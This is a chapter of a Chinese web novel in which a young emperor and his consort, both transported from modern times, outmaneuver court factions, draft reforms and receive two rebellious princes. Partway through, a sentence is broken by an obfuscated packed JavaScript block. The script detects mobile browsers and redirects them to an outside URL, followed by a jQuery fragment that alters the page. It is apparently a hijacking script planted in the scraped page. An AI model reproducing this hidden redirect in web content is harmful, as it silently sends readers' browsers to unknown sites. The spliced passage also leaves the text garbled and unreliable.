16.小皇帝锋芒毕露
作品:《论竹马少帝的小狗本质(双穿)》 第二日。
两人发现他们醒来时的样子实在算不上清白。
江莫逾的被子不知道被谁蹬到了地上,而他自己却莫名出现在了沈明情的被子里,双手双脚还死死缠着沈明情。
沈明情则似乎更为主动,手臂还勾着江莫逾的脖子,头靠着对方的胸膛,属于那种……张了嘴甚至能直接在江莫逾锁骨下方留一个牙印的程度。
“沈明情……皇帝要被你勒死了!你想让全大栖都知道朕在纳了贵妃次日清晨被贵妃谋杀在龙床上吗!”
沈明情直接被吓清醒了,忙松开手,嘴硬辩解,“说什么呢!明明是你半夜钻我被窝!我还没说你强占了我的空间呢……”
她作势把被子往自己这里一扯,而江莫逾似乎是被被子带动,直直倒在了沈明情身上,很大方地给了对方一个早安抱抱。正当沈明情正在怀疑自己什么时候有了这么大力气时,身边的江莫逾就垂眸,在沈明情耳边留下了一句略带晨间沙哑与湿热的……
“早安,贵妃娘娘。”
沈明情瞪他一眼,“一句早安怎么都说得这般色气?你这皇帝真是越当越不像话了。”
江莫逾笑而不语。
天知道他一觉醒来发现沈明情整个人挂在他身上时心里有多暗爽?假以时日,他相信沈明情会接受自己的。
“陛下,贵妃娘娘。”李彦的声音从殿外传进来,瞬间打破了殿内有些凝滞的暧昧气氛,“燕王殿下与睦王殿下已递了牌子,估摸着今日傍晚便能抵达京城,入宫参拜。”
江莫逾虽是不满没能多逗逗沈明情,却还是迅速敛去了眼底的柔软,重新变为那个杀伐果断的少年帝王。
“更衣。”
朝堂上,云霖举着玉牌出列,声音刻意拉长:“昨夜天狗食月,阴侵阳,君犯臣,此乃上天示警。臣夜观星象,恐朝中有人行不臣之事,以下犯上,这才致使天怒。”
此言一出,本就安静肃穆的朝堂更是连掉了一根针都听得见。众大臣无一人敢说话,有人幸灾乐祸那些图谋不轨的朝臣做出的事终于有人说了,有人则心虚地与旁人交换眼神。
沈忠迎和翰林院侍讲学士就是其中之二。
翰林院学士在接收到沈忠迎的眼神后便直接开口:“云大人真是会借题发挥。天象示警,您又如何得知一定是君犯臣,而不是……上位者无能?”
这话说得才是真真儿的以下犯上。不过往难听了说,他一介五品小官,唯一的立足之法便是倚仗位高权重的首辅被当刀子使。更何况在他印象里,皇帝是个性子软的。
江莫逾不怒反笑,声音不急不缓:“的确是朕无能,竟登基这么久都没察觉朝中有谁为臣不忠……刚好借学士这一言,好好查查。”
此言一出,首辅与翰林院学士的脸色彻底僵了。
他二人都没想到江莫逾真的会顺着那话往下接,更没想到他会当着所有朝臣的面宣布彻查。
这下是真的被反将了一军。
“至于查什么……”江莫逾自顾自往下说,“便查那结党营私之人,和私养兵马之人,怎么样?”
江莫逾的视线似有若无地扫过太傅和首辅,那两人低着头,一言不发。
大殿中更安静了。
过了半晌,还是太傅李默端起了皇帝幼时师长的架子,佯装沉稳地开口:“陛下言之有理。的确该查。”
江莫逾点头,“那这件事便交由——御史中丞周铭远吧。周大人刚正不阿,向来不偏不倚,担得起这个职责。”
周铭远出列,恭恭敬敬行了一个大礼。
此人本就没有加入太后的阵营,是朝中少有的清廉之人。可先前太后把持朝政,甚至垂帘听政,导致周铭远一直得不到重用。
而江莫逾此举明显就是在告诉他,他是明君,不会让任何一个朝臣埋没。
此举之后,早朝还在继续,气氛却彻底变了。
每个人心中都有了思量。
现在坐在他们面前的不再是以前那个任人拿捏没有实权的少年帝王了。他这次是真的打算……
整顿朝纲,收回权力。
至于该继续为太后卖命还是投诚于当今天下真正的也是唯一的主人,还需要他们每个人细细考虑。
*
退朝后,江莫逾径直回了潜渊殿。
沈明情自早上后便一直在后殿的龙床上赖着。方才朝堂上的事她虽未亲见,却已有人报了过来。此刻见江莫逾进来,她起身迎上,两人相视一眼,都未多言。
姜祺已在殿中等候,身侧还跪着一个中年妇人。那人穿着粗布衣裳,发丝有些乱,面颊凹陷,显然是过了许久的苦日子。
陈梧也在殿中,就跪在那个妇人身侧。他一见到江莫逾,额头便重重磕在了地面上。
“陛下……多谢陛下救下属下母亲!从今以后,属下这条贱命便是陛下的了。”
“起来吧。你这句话,朕记住了。”江莫逾绕开他二人,坐在了一侧的龙椅上,“下月的乡试,准备得如何了?”
陈梧没想到江莫逾会突然问这个,但还是如实答道:“先前靠贵妃娘娘赐的银子,属下已买好了书籍和笔墨纸砚,熟读四书五经。除了这些还看了许多兵书。”
江莫逾满意点头,“好好考。朕需要你,愿意帮你做这些事,是因为朕需要你这样的人才……不只是侍卫的位置。”
陈梧紧张地吞咽口水,再次磕头,眼中是浓浓的感激和坚定。
陈母也跪了下来,带着哽咽的声音答谢:“谢陛下不杀之恩!先前帮太后藏兵,民妇知罪……”
“知罪便好。朕给你一个将功折罪的机会。”江莫逾有条不紊地安排,“城西贫巷那片荒废已久的田地,朕要改作产粮地,就由你打理。”
不是空头的原谅,而是实质性的有所托,反而更让陈母觉得安心,也更加忠诚。
“民妇定当尽心竭力!”
*
陈氏母子退下后,偏殿重归安静。沈明情看着他们离开的方向,若有所思。
“光靠陈梧一个人不够。”她忽然开口,“我们需要更多人。”
江莫逾拉着她坐下,“说说看。”
“一月后的乡试,我想借机找出那些被埋没的人才。他们或许不愿入朝为官,但是有才有德。”沈明情顿了顿,“那些人心思更为沉静,不追名逐利,而且和百姓更亲近。你想啊,假如我们要彻底推翻太后的统治,除了朝廷官员,还需要谁?”
江莫逾略一思索,“百姓?”
“正是如此。所以你这个皇帝也需要在百姓之中扬威立信,为他们谋取福祉,推翻现在乱世之下压榨百姓的太后专政。”沈明情看向陈梧离开的方向,“刚好,我们身边便有这样一个文人。等陈梧乡试结束后,我们带他一起去安远府。一来看看袁穆治理得如何,二来沿途招揽天下名士,传播新政。”
江莫逾点头,摊开纸笔,“那你觉得,新政该是什么样子?”
沈明情支着头看他,“你心里早就有答案了吧。”
他笑了,笔尖落在纸上,细细描绘着胡二提过的,也是他眼中心中的春和景明。
“那必然是,没有严苛的赋税,民间可以夜不闭户;朝中官员各司其职,无拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377810|198741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮结派;或许还可以……让女子也入朝为官,展现独属于她们的锋芒。彻底废除那些陈规陋习,各户人家一夫一妻。归根结底,我们是现代人,来到了这个时代,也要把那些被淘汰掉的再次淘汰。”
……
不知不觉间,关于新政的内容已经写了满满三大张纸,日头西落,本以为这便是好了。谁料江莫逾又拿出了一张空白的纸。
“还有什么要加的?”沈明情有些好奇。
“你忘了最重要的。”他低头写字,笔锋却比方才轻快了几分,“皇帝也不该设立后宫,而是应该找一个真正爱的人立为唯一的皇后。或者——女子为帝,男子做……赘夫?”
他说到最后自己先笑了,抬眼看沈明情的反应。
沈明情无奈地摇头,“的确是不错的想法。加上吧。那你呢?你该不会打算这一切结束后把你的皇位让给我吧?”
江莫逾的语气理所当然,“你怎么知道我是这般打算的?那我便等着,在我们手底下,这乱世真的春和景明。届时你登上皇位,我来当你的……”
他凑到沈明情面前,笑容狡黠,“贤内助。”
*
暮色四合时,李彦进殿通传道,燕王与睦王已至殿外。
沈明情以贵妃的身份端坐于江莫逾身侧。江莫逾微微侧身,不动声色地将她挡了半边,让来人的视线无法轻易落在她身上。
睦王率先开口,语气里带着几分少年人特有的张扬:“皇兄竟也会这般护着人?可见贵妃娘娘真是深得圣心呢。”
江莫逾没有接话,面上淡淡的。
他身侧的燕王却像是被吓住了,慌慌张张拉着睦王下跪:“皇弟……皇兄有罪,不该联合边境小国发动叛乱。还请皇弟饶过皇兄这一回。”
跪在地上的燕王浑身抖若筛糠,声音里都带着哭腔。睦王被他一拉,也不情不愿地跪了下去,嘴里嘟囔着:“二哥你拉我做什么……我不就是听了你的话才做那种事的么?”
“你还说!”燕王更慌张了,转头斥了睦王一句,又连忙转向江莫逾,磕了一个头,“皇弟,是皇兄鬼迷心窍,听了手下人的撺掇。六弟他……他年纪小,不懂事,的确……是被我连累的。皇兄一人做事一人当,你要罚就罚我吧。”
睦王跪在一旁,嘴巴微微撅着,一副不服气的模样,却到底没再说什么。
沈明情端坐于侧,目光在二人身上扫过。燕王那慌张的模样不似作伪,额上都沁出了细密的汗珠;睦王则像个被兄长连累的任性少年,虽有不满却也不敢在这场合造次。
江莫逾也打量着二人,沉默了片刻,面上竟浮出一抹和煦的笑。
“起来吧。都是兄弟,有什么过不去的。”他的语气轻描淡写,仿佛边疆那场战事不过是一场小打小闹,“如今朕唯一的心愿便是后日的宫宴,还望二哥和六弟能按时来啊。”
燕王如蒙大赦,连连叩首:“一定一定,臣定不敢误了时辰。”
睦王也跟着磕了个头,起身时还偷偷拽了拽燕王的袖子,小声问:“二哥,皇兄这是不怪咱们了?”
燕王忙捂他的嘴,讪讪笑道:“皇弟莫怪,这孩子打小被我宠坏了,说话没个分寸……”
江莫逾摆摆手,“无妨。六弟还小,日后多的是机会慢慢学。”
睦王被燕王拉着退下时,还回头看了江莫逾一眼,那眼神里有几分劫后余生的庆幸,也有几分少年人被兄长训斥后的不服气。
二人的身影消失在殿门外。
江莫逾看着二人的背影。
方才到底是不是一出戏,两日之后,自有分晓

